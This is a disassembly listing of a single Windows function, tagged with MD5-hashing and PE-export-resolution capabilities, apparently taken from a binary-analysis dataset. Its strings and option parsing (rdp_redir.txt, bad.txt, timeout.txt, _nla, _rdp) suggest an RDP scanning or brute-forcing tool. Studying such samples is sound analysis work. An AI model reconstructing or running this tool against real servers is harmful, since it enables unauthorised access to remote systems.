Function at 0x543320
Capabilities:
Hash data with md5
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x54ea57
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x334
call fcn.00525ec0
push ebx
push esi
push edi
push 0x5403e0
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov al, 0xff
pxor xmm0, xmm0
push 0x5c
mov byte [esp + 0x6c], al
mov byte [esp + 0x6d], al
mov byte [esp + 0x6e], al
mov byte [esp + 0x6f], al
mov byte [esp + 0x70], al
mov byte [esp + 0x71], al
mov byte [esp + 0x72], al
movq qword [0x5bc0f0], xmm0
movq qword [0x5bc0f8], xmm0
mov dword [0x5bc100], ebx
call fcn.0050f3bc
add esp, 4
push 0x5c
mov esi, eax
push ebx
push esi
call fcn.00516180
lea eax, [esp + 0x74]
add esp, 0xc
push eax
lea ecx, [ebx + 6]
mov edx, esi
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
call fcn.0045fc10
add esp, 4
push esi
mov ecx, 0x5bc0f4
call fcn.0045fd10
add esp, 4
push esi
call fcn.0050f521
add esp, 4
call fcn.005094f0
push 0x5bc144
mov dword [0x5bc15c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 8
push 0x5bc13c
call fcn.0045ff40
push 8
push 0x5bc134
call fcn.0045ff40
push 0x10
push 0x5bc124
call fcn.0045ff40
push 0x20
push 0x5bc104
call fcn.0045ff40
push 0x540a90
push 2
call fcn.0050fd04
add esp, 0x28
mov byte [0x5bdf2b], bl
push str.bad.txt
mov edi, 0x5be310
mov dword [0x5bdf48], ebx
call fcn.00540620
push str.bad_reason.txt
mov edi, 0x5be3a0
call fcn.00540620
push str.skip_log.txt
mov edi, 0x5be430
call fcn.00540620
push str.skip_log2.txt
mov edi, 0x5be4c0
call fcn.00540620
push str.timeout.txt
mov edi, 0x5be550
call fcn.00540620
push str.licproblem.txt
mov edi, 0x5be5e0
call fcn.00540620
push str.rdp_redir.txt
mov edi, 0x5be670
call fcn.00540620
mov ecx, 0x5859fc
call fcn.005404a0
mov ecx, 0x585a20
mov dword [0x5bc174], eax
call fcn.005404a0
mov edx, dword [0x5bc174]
mov ecx, edx
mov dword [0x5bc170], eax
cmp word [ecx], bx
je 0x5434e8
nop
add ecx, 2
cmp word [ecx], bx
jne 0x5434e0
sub ecx, edx
sar ecx, 1
add ecx, ecx
mov dword [0x5bc16c], ecx
mov ecx, eax
cmp word [ecx], bx
je 0x543508
jmp 0x543500
add ecx, 2
cmp word [ecx], bx
jne 0x543500
sub ecx, eax
sar ecx, 1
add ecx, ecx
push ebx
mov dword [0x5bc168], ecx
call fcn.00510119
add eax, 0x20
push eax
call fcn.005100f1
add esp, 8
push 2
push ecx
push str.sizeof_wchat_t
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_int
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 2
push ecx
push str.sizeof_short
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_long
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 8
push ecx
push str.sizeof_unsigned_long_long
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_ULONG_PTR
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_INT_PTR
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_DWORD
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 4
push ecx
push str.sizeof_size_t
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 0x540540
call fcn.0050fb92
add esp, 4
mov dword [esp + 0x58], 0xf
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
mov dword [esp + 0x34c], ebx
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov esi, 0x5be318
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
call fcn.004015f0
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov esi, 0x5be438
call fcn.004015f0
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov esi, 0x5be4c8
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
call fcn.004015f0
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov esi, 0x5be558
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
call fcn.004015f0
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov esi, 0x5be5e8
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
call fcn.004015f0
mov eax, 0x18
call fcn.00525ec0
mov eax, esp
mov esi, 0x5be678
mov dword [esp + 0x28], esp
mov dword [eax], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
call fcn.004015f0
lea ecx, [esp + 0x28]
push ecx
call fcn.00401cf0
mov byte [esp + 0x34c], 1
mov dword [esp + 0x1c], ebx
call fcn.0050cbc0
mov edx, dword [0x5be310]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be310
mov dword [esp + 0x24], eax
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be310
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x54395d
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585ae0
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 2
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x54386f
lea eax, [esp + 0x44]
lea edx, [esp + 0x18]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0x20], ebx
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0x18]
mov eax, ecx
cmp dword [esp + 0x1c], ebx
jne 0x543912
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xf8], eax
cmp esi, ebx
jne 0x5438b3
xor edx, edx
jmp 0x5438bc
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x5438e8
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x7b], 0
mov byte [esp + 0x79], 0
mov byte [esp + 0x8b], 0
mov dword [esp + 0x38], ecx
jmp 0x543912
mov edi, ecx
cmp esi, ecx
jbe 0x5438f3
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0x100]
push edx
lea eax, [esp + 0x28c]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
mov ecx, dword [0x5be310]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be310
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be310
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x543825
mov ecx, dword [0x5be310]
mov ecx, dword [ecx + 4]
add ecx, 0x5be310
mov eax, dword [ecx + 0x28]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
mov edx, dword [0x5be430]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be430
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be430
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x543b04
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585af4
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 3
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x543a13
lea eax, [esp + 0x44]
lea edx, [esp + 0x24]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0x2c], ebx
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0x24]
mov eax, ecx
cmp dword [esp + 0x1c], ebx
jne 0x543ab9
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xf0], eax
cmp esi, ebx
jne 0x543a57
xor edx, edx
jmp 0x543a60
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x543a8f
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x73], 0
mov byte [esp + 0x8c], 0
mov byte [esp + 0x8a], 0
mov dword [esp + 0x38], ecx
jmp 0x543ab9
mov edi, ecx
cmp esi, ecx
jbe 0x543a9a
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0xf8]
push edx
lea eax, [esp + 0x2a4]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
mov ecx, dword [0x5be430]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be430
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be430
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x5439c9
mov ecx, dword [0x5be430]
mov ecx, dword [ecx + 4]
add ecx, 0x5be430
mov eax, dword [ecx + 0x28]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
mov edx, dword [0x5be4c0]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be4c0
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be4c0
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x543cb1
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585b08
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 4
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x543bba
lea eax, [esp + 0x44]
lea edx, [esp + 0xac]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0xb4], ebx
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0xac]
mov eax, ecx
cmp dword [esp + 0x1c], ebx
jne 0x543c66
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xd8], eax
cmp esi, ebx
jne 0x543c07
xor edx, edx
jmp 0x543c10
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x543c3c
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x75], 0
mov byte [esp + 0x77], 0
mov byte [esp + 0x89], 0
mov dword [esp + 0x38], ecx
jmp 0x543c66
mov edi, ecx
cmp esi, ecx
jbe 0x543c47
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0xe0]
push edx
lea eax, [esp + 0x274]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
mov ecx, dword [0x5be4c0]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be4c0
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be4c0
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x543b70
mov ecx, dword [0x5be4c0]
mov ecx, dword [ecx + 4]
add ecx, 0x5be4c0
mov eax, dword [ecx + 0x28]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
mov edx, dword [0x5be550]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be550
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be550
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x543e6b
mov bl, 5
nop
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585b1c
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], bl
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x543d69
lea eax, [esp + 0x44]
lea edx, [esp + 0xb0]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0xb8], 0
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0xb0]
cmp dword [esp + 0x1c], 0
mov eax, ecx
jne 0x543e20
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xfc], eax
test esi, esi
jne 0x543dbb
xor edx, edx
jmp 0x543dc4
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x543df6
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x8d], 0
mov byte [esp + 0x8f], 0
mov byte [esp + 0x83], 0
mov dword [esp + 0x38], ecx
jmp 0x543e20
mov edi, ecx
cmp esi, ecx
jbe 0x543e01
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0x104]
push edx
lea eax, [esp + 0x29c]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
mov ecx, dword [0x5be550]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be550
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be550
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x543d20
mov ecx, dword [0x5be550]
mov ecx, dword [ecx + 4]
add ecx, 0x5be550
mov eax, dword [ecx + 0x28]
xor ebx, ebx
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
mov edx, dword [0x5be5e0]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be5e0
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be5e0
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x544023
lea esp, [esp]
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585b30
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 6
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x543f2a
lea eax, [esp + 0x44]
lea edx, [esp + 0xbc]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0xc4], ebx
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0xbc]
mov eax, ecx
cmp dword [esp + 0x1c], ebx
jne 0x543fd8
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xf4], eax
cmp esi, ebx
jne 0x543f77
xor edx, edx
jmp 0x543f80
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x543fac
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x74], 0
mov byte [esp + 0x8e], 0
mov byte [esp + 0x76], 0
mov dword [esp + 0x38], ecx
jmp 0x543fd8
mov edi, ecx
cmp esi, ecx
jbe 0x543fb7
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0xfc]
push edx
lea eax, [esp + 0x27c]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
xor ebx, ebx
mov ecx, dword [0x5be5e0]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be5e0
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be5e0
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x543ee0
mov ecx, dword [0x5be5e0]
mov ecx, dword [ecx + 4]
add ecx, 0x5be5e0
mov eax, dword [ecx + 0x28]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
mov edx, dword [0x5be670]
mov ecx, dword [edx + 4]
push 0xa
add ecx, 0x5be670
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x5be670
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x5441d3
nop
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0x24], esp
push eax
mov edx, 0x585b44
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 7
lea ecx, [esp + 0x54]
push ecx
mov byte [esp + 0x364], 1
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x5440da
lea eax, [esp + 0x44]
lea edx, [esp + 0xc0]
push edx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0xc8], ebx
call fcn.00411c20
xor ecx, ecx
add esp, 8
test eax, eax
setle cl
dec ecx
and ecx, dword [esp + 0xc0]
mov eax, ecx
cmp dword [esp + 0x1c], ebx
jne 0x544188
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov esi, dword [esp + 0x34]
mov dword [esp + 0xe0], eax
cmp esi, ebx
jne 0x544127
xor edx, edx
jmp 0x544130
mov edx, dword [esp + 0x3c]
sub edx, esi
sar edx, 2
mov ecx, dword [esp + 0x38]
mov edi, ecx
sub edi, esi
sar edi, 2
cmp edi, edx
jae 0x54415c
mov dword [ecx], eax
add ecx, 4
mov byte [esp + 0x88], 0
mov byte [esp + 0x78], 0
mov byte [esp + 0x72], 0
mov dword [esp + 0x38], ecx
jmp 0x544188
mov edi, ecx
cmp esi, ecx
jbe 0x544167
call fcn.0050dd58
mov eax, dword [esp + 0x28]
push edi
push eax
lea edx, [esp + 0xe8]
push edx
lea eax, [esp + 0x284]
push eax
lea ecx, [esp + 0x38]
call fcn.00403bf0
xor ebx, ebx
mov ecx, dword [0x5be670]
mov ecx, dword [ecx + 4]
push 0xa
add ecx, 0x5be670
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
push 0x5be670
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x544090
mov ecx, dword [0x5be670]
mov ecx, dword [ecx + 4]
add ecx, 0x5be670
mov eax, dword [ecx + 0x28]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.004156c0
lea esi, [esp + 0x28]
call fcn.00540570
mov eax, dword [0x5be178]
mov dword [0x5bdf38], ebx
mov dword [0x5bdf3c], ebx
mov dword [0x5bdf30], ebx
mov dword [0x5bdf34], ebx
mov ecx, dword [eax + 4]
lea edx, [esp + 0xe8]
push edx
add ecx, 0x5be178
call fcn.004017d0
mov ecx, dword [esp + 0xe8]
cmp ecx, ebx
je 0x544250
call fcn.00419470
cmp eax, ebx
je 0x544250
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
mov edx, dword [0x5be200]
lea ecx, [esp + 0xdc]
push ecx
mov ecx, dword [edx + 4]
add ecx, 0x5be200
call fcn.004017d0
mov ecx, dword [esp + 0xdc]
cmp ecx, ebx
je 0x54428a
call fcn.00419470
cmp eax, ebx
je 0x54428a
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
mov edx, dword [0x5bb318]
lea ecx, [esp + 0x100]
push ecx
mov ecx, dword [edx + 4]
add ecx, 0x5bb318
call fcn.004017d0
mov ecx, dword [esp + 0x100]
cmp ecx, ebx
je 0x5442c4
call fcn.00419470
cmp eax, ebx
je 0x5442c4
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
push 0x20
call fcn.0050d866
mov esi, eax
add esp, 4
mov dword [esp + 0x10], esi
mov byte [esp + 0x34c], 8
cmp esi, ebx
je 0x5442f5
lea ecx, [esp + 0x7a]
push ecx
push esi
call fcn.00404500
mov byte [esp + 0x34c], 8
jmp 0x5442f7
xor esi, esi
mov byte [esp + 0x34c], 1
mov edi, dword [ebp + 8]
dec edi
cmp edi, ebx
mov dword [0x5bdf40], esi
jle 0x5445e2
mov ebx, dword [ebp + 0xc]
add ebx, 4
cmp edi, 2
mov esi, dword [ebx]
mov ecx, esi
jl 0x54451d
mov edx, 0x585b58
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x544350
test al, al
je 0x54434c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x544350
add ecx, 2
add edx, 2
test al, al
jne 0x544330
xor eax, eax
jmp 0x544355
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544375
mov edx, dword [ebx + 4]
push edx
call fcn.005102e4
add esp, 4
add ebx, 8
mov dword [0x5ba9a0], eax
sub edi, 2
jmp 0x5445d8
mov edx, str._rdp
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x5443a0
test al, al
je 0x54439c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x5443a0
add ecx, 2
add edx, 2
test al, al
jne 0x544380
xor eax, eax
jmp 0x5443a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x5443c5
mov eax, dword [ebx + 4]
push eax
call fcn.005102e4
add esp, 4
add ebx, 8
mov dword [0x5ba9a4], eax
sub edi, 2
jmp 0x5445d8
mov edx, str._nla
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x5443f0
test al, al
je 0x5443ec
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x5443f0
add ecx, 2
add edx, 2
test al, al
jne 0x5443d0
xor eax, eax
jmp 0x5443f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544415
mov ecx, dword [ebx + 4]
push ecx
call fcn.005102e4
add esp, 4
add ebx, 8
mov dword [0x5ba9a8], eax
sub edi, 2
jmp 0x5445d8
mov edx, 0x585b6c
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x544440
test al, al
je 0x54443c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x544440
add ecx, 2
add edx, 2
test al, al
jne 0x544420
xor eax, eax
jmp 0x544445
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544465
mov edx, dword [ebx + 4]
push edx
call fcn.005102e4
add esp, 4
add ebx, 8
mov dword [0x5bc15c], eax
sub edi, 2
jmp 0x5445d8
mov edx, 0x585b70
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x544490
test al, al
je 0x54448c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x544490
add ecx, 2
add edx, 2
test al, al
jne 0x544470
xor eax, eax
jmp 0x544495
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x5444a5
mov byte [0x5bdf29], 1
jmp 0x5445d4
mov edx, 0x585b7c
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x5444d0
test al, al
je 0x5444cc
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x5444d0
add ecx, 2
add edx, 2
test al, al
jne 0x5444b0
xor eax, eax
jmp 0x5444d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x5445cd
mov ecx, 0x585b84
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x544504
test dl, dl
je 0x544500
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x544504
add eax, 2
add ecx, 2
test dl, dl
jne 0x5444e4
xor eax, eax
jmp 0x544509
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544824
mov byte [0x5bdf2a], 1
jmp 0x5445d4
mov edx, str._nlaonly
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x544542
test al, al
je 0x54453e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x544542
add ecx, 2
add edx, 2
test al, al
jne 0x544522
xor eax, eax
jmp 0x544547
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544557
mov byte [0x5bdf29], 1
jmp 0x5445d4
mov edx, 0x585ba4
mov ecx, esi
mov edi, edi
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x544580
test al, al
je 0x54457c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x544580
add ecx, 2
add edx, 2
test al, al
jne 0x544560
xor eax, eax
jmp 0x544585
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x544592
mov byte [0x5bdf2a], 1
jmp 0x5445d4
mov ecx, str._wxp
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x5445c0
test dl, dl
je 0x5445bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x5445c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x5445a0
xor eax, eax
